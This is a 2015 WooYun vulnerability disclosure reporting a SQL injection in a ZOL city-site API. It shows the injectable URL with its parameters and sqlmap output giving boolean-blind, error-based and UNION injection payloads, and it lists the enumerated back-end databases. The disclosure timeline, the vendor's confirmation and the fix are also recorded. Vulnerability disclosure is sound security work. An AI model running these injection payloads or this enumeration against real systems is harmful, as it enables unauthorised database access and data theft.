当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134652

漏洞标题:中关村在线某站存在SQL注入

相关厂商:中关村在线

漏洞作者: 星明月稀

提交时间:2015-08-17 10:52

修复时间:2015-08-25 17:52

公开时间:2015-08-25 17:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-17: 细节已通知厂商并且等待厂商处理中
2015-08-21: 厂商已经确认,细节仅向厂商公开
2015-08-25: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

中关村在线某站存在SQL注入

详细说明:

注入点:

http://city.zol.com/bid_api/web/getDealers?bid=402880552acc07e2012acc09f7da08b8' AND 1=1 AND 'aaa'='aaa&cid=ff8080812a881a21012a8984b2cb02a4&jsoncallback=jsonp1439763489697&pid=808a45bd6ff221157d2613549484ece2&=1439763494509


(1)1=1

1=1.png


(2)1=111

1=111.png


参数:bid,cid,pid都有注入!

漏洞证明:

sqlmap跑下,盲注,显错都有,速度很快。
涉及多库!!!

GET parameter 'bid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection points with a total of 65 HTTP(s) requests:
---
Parameter: bid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: bid=402880552acc07e2012acc09f7da08b8' AND 4901=4901 AND
'DMVj'='DMVj&cid=ff8080812a881a21012a8984b2cb02a4&jsoncallback=jsonp1439763489697&pid=808a45bd6ff221157d2613549484ece2&=1439763494509
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: bid=402880552acc07e2012acc09f7da08b8' AND (SELECT 2299 FROM(SELECT COUNT(*),CONCAT(0x71786b6271,(SELECT (ELT
(2299=2299,1))),0x7171787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
'WwXw'='WwXw&cid=ff8080812a881a21012a8984b2cb02a4&jsoncallback=jsonp1439763489697&pid=808a45bd6ff221157d2613549484ece2&=1439763494509
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: bid=402880552acc07e2012acc09f7da08b8' UNION ALL SELECT NULL,CONCAT
(0x71786b6271,0x4a7876544541684a754f,0x7171787871),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
&cid=ff8080812a881a21012a8984b2cb02a4&jsoncallback=jsonp1439763489697&pid=808a45bd6ff221157d2613549484ece2&=1439763494509
---
[10:25:09] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.0.65
back-end DBMS: MySQL 5.0
[10:25:09] [INFO] fetching database names
available databases [6]:
[*] information_schema
[*] saas_attendance
[*] saas_faq
[*] saas_im
[*] saas_new
[*] test
[10:25:09] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 35 times

修复方案:

过滤或转义

版权声明:转载请注明来源 星明月稀@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-08-21 15:34

厂商回复:

已确认漏洞,感谢“星明月稀”对我们的关注

最新状态:

2015-08-25:此洞已修复,感觉对ZOL的关注